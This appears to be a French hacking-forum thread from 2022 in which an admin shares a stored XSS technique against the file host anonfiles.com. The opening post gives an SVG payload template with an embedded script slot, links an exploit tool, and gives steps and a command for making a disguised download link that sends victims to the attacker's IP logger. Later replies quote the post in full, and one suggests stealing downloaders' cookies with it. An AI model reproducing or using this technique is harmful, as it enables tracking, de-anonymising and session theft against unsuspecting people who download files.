Posté(e) 27 janvier 20224 a Admin Bonjour/Bonsoir, Comme on le sait tous anonfiles.com est sûrement le pire hébergeur de fichier en terme de stabilité et de vitesse. On sait maintenant aussi que c'est un hébergeur de fichier ayant certains problèmes de sécurité (mais ce vecteur doit pouvoir être utilisé sur pleins d'autres uploaders aussi). POC : https://anonfiles.com/l9EacfEcx3/_video_mp4_ (cliquez ensuite sur télécharger) Alors c'est plutôt simple, dans un premier temps les images SVG peuvent avoir comme fonction d'exécuter du js dans certains cas. C'est normalement utilisé notamment par les sites qui ce servent des .SVG pour faire des jeux 2d/3d dans votre navigateur, mais bien sur, on peut ici lui trouver une autre utilité. Voici maintenant comment l'exploiter : Tout d’abord si vous le voulez voici le payload : <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="0" height="0" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> CODE JS A EXECUTER ICI </script> </svg> J'imagine que vous voulez un moyen simple de l'exploiter alors voici ce que j'ai trouvé (crédits : https://github.com/BoofSec/anonfiles-xss-0day) et simplifié : Téléchargez ce fichier : https://up.0day.live/#AoKGmEiWM07-Kz9w2w3AHQ (et python avec le module requests si vous ne l'avez pas encore). Modifiez le lien dans payload.js pour rediriger vers votre iplogger (pour le rendre plus discret vous pouvez faire en sorte que cet iplogger redirige ensuite sur un vrais lien anonfiles). Lancez le en faisant # py exploit.py -p payload.js -n 'video.mp4' (dans l'emplacement du dossier téléchargé et extrait) Voilà, vous avez normalement le lien que vous pouvez partager.
Posté(e) 27 janvier 20224 a Il y a 2 heures, Admin a dit : Bonjour/Bonsoir, Comme on le sait tous anonfiles.com est sûrement le pire hébergeur de fichier en terme de stabilité et de vitesse. On sait maintenant aussi que c'est un hébergeur de fichier ayant certains problèmes de sécurité (mais ce vecteur doit pouvoir être utilisé sur pleins d'autres uploaders aussi). POC : https://anonfiles.com/l9EacfEcx3/_video_mp4_ (cliquez ensuite sur télécharger) Alors c'est plutôt simple, dans un premier temps les images SVG peuvent avoir comme fonction d'exécuter du js dans certains cas. C'est normalement utilisé notamment par les sites qui ce servent des .SVG pour faire des jeux 2d/3d dans votre navigateur, mais bien sur, on peut ici lui trouver une autre utilité. Voici maintenant comment l'exploiter : Tout d’abord si vous le voulez voici le payload : <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="0" height="0" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> CODE JS A EXECUTER ICI </script> </svg> J'imagine que vous voulez un moyen simple de l'exploiter alors voici ce que j'ai trouvé (crédits : https://github.com/BoofSec/anonfiles-xss-0day) et simplifié : Téléchargez ce fichier : https://up.0day.live/#AoKGmEiWM07-Kz9w2w3AHQ (et python avec le module requests si vous ne l'avez pas encore). Modifiez le lien dans payload.js pour rediriger vers votre iplogger (pour le rendre plus discret vous pouvez faire en sorte que cet iplogger redirige ensuite sur un vrais lien anonfiles). Lancez le en faisant # py exploit.py -p payload.js -n 'video.mp4' (dans l'emplacement du dossier téléchargé et extrait) Voilà, vous avez normalement le lien que vous pouvez partager. Bonjour, je ne m'y connais pas du tout mais j'aimerai comprendre l'utilité de tout ça avec des termes simples. 😅 J'ai compris que c'était pour savoir l'adresse ip de quelqu'un je crois ou quelque chose comme ça ? merci à toi BTC : bc1q2vjkq8yjcm3v82xcdrl7gtgf7dd4ea8ad40r0j Site
Posté(e) 28 janvier 20224 a Il y a 11 heures, Admin a dit : Bonjour/Bonsoir, Comme on le sait tous anonfiles.com est sûrement le pire hébergeur de fichier en terme de stabilité et de vitesse. On sait maintenant aussi que c'est un hébergeur de fichier ayant certains problèmes de sécurité (mais ce vecteur doit pouvoir être utilisé sur pleins d'autres uploaders aussi). POC : https://anonfiles.com/l9EacfEcx3/_video_mp4_ (cliquez ensuite sur télécharger) Alors c'est plutôt simple, dans un premier temps les images SVG peuvent avoir comme fonction d'exécuter du js dans certains cas. C'est normalement utilisé notamment par les sites qui ce servent des .SVG pour faire des jeux 2d/3d dans votre navigateur, mais bien sur, on peut ici lui trouver une autre utilité. Voici maintenant comment l'exploiter : Tout d’abord si vous le voulez voici le payload : <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="0" height="0" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> CODE JS A EXECUTER ICI </script> </svg> J'imagine que vous voulez un moyen simple de l'exploiter alors voici ce que j'ai trouvé (crédits : https://github.com/BoofSec/anonfiles-xss-0day) et simplifié : Téléchargez ce fichier : https://up.0day.live/#AoKGmEiWM07-Kz9w2w3AHQ (et python avec le module requests si vous ne l'avez pas encore). Modifiez le lien dans payload.js pour rediriger vers votre iplogger (pour le rendre plus discret vous pouvez faire en sorte que cet iplogger redirige ensuite sur un vrais lien anonfiles). Lancez le en faisant # py exploit.py -p payload.js -n 'video.mp4' (dans l'emplacement du dossier téléchargé et extrait) Voilà, vous avez normalement le lien que vous pouvez partager. Super inintéressant, je me pose quand même la question de pourquoi ça marche ? Pourquoi anonfile "render" le fichier que cherche à télécharger ? Et du coup j'ai test sur up.0day.live et ça marche pas Il y a 8 heures, lolipop77 a dit : Bonjour, je ne m'y connais pas du tout mais j'aimerai comprendre l'utilité de tout ça avec des termes simples. 😅 J'ai compris que c'était pour savoir l'adresse ip de quelqu'un je crois ou quelque chose comme ça ? merci à toi La technique te permet de faire ce qu'on appelle du cross site scripting (XSS). C'est à dire injecter du javascript directement sur le site. Ici en plus le payload (code malicieux) peut être uploader directement sur leurs serveurs. En gros tu peux faire tous ce que tu peux faire avec du javascript, par exemple voler les cookies du compte anonfile qui cherche à télécharger et te les envoyer (j'ai pas tester, pas sur que ça marche)
Posté(e) 28 janvier 20224 a Auteur Admin Le 28/01/2022 à 08:39, JuneDay a dit : Et du coup j'ai test sur up.0day.live et ça marche pas Tant mieux et sinon j'ai pas vraiment de réponse ils doivent afficher tout ce qu'il est possible d'afficher
Posté(e) 14 février 20224 a Le 28/01/2022 à 08:39, JuneDay a dit : Super inintéressant, je me pose quand même la question de pourquoi ça marche ? Pourquoi anonfile "render" le fichier que cherche à télécharger ? Et du coup j'ai test sur up.0day.live et ça marche pas La technique te permet de faire ce qu'on appelle du cross site scripting (XSS). C'est à dire injecter du javascript directement sur le site. Ici en plus le payload (code malicieux) peut être uploader directement sur leurs serveurs. En gros tu peux faire tous ce que tu peux faire avec du javascript, par exemple voler les cookies du compte anonfile qui cherche à télécharger et te les envoyer (j'ai pas tester, pas sur que ça marche) merci beaucoup pour tes explications qui sont claires !! 😉 BTC : bc1q2vjkq8yjcm3v82xcdrl7gtgf7dd4ea8ad40r0j Site
Créer un compte ou se connecter pour commenter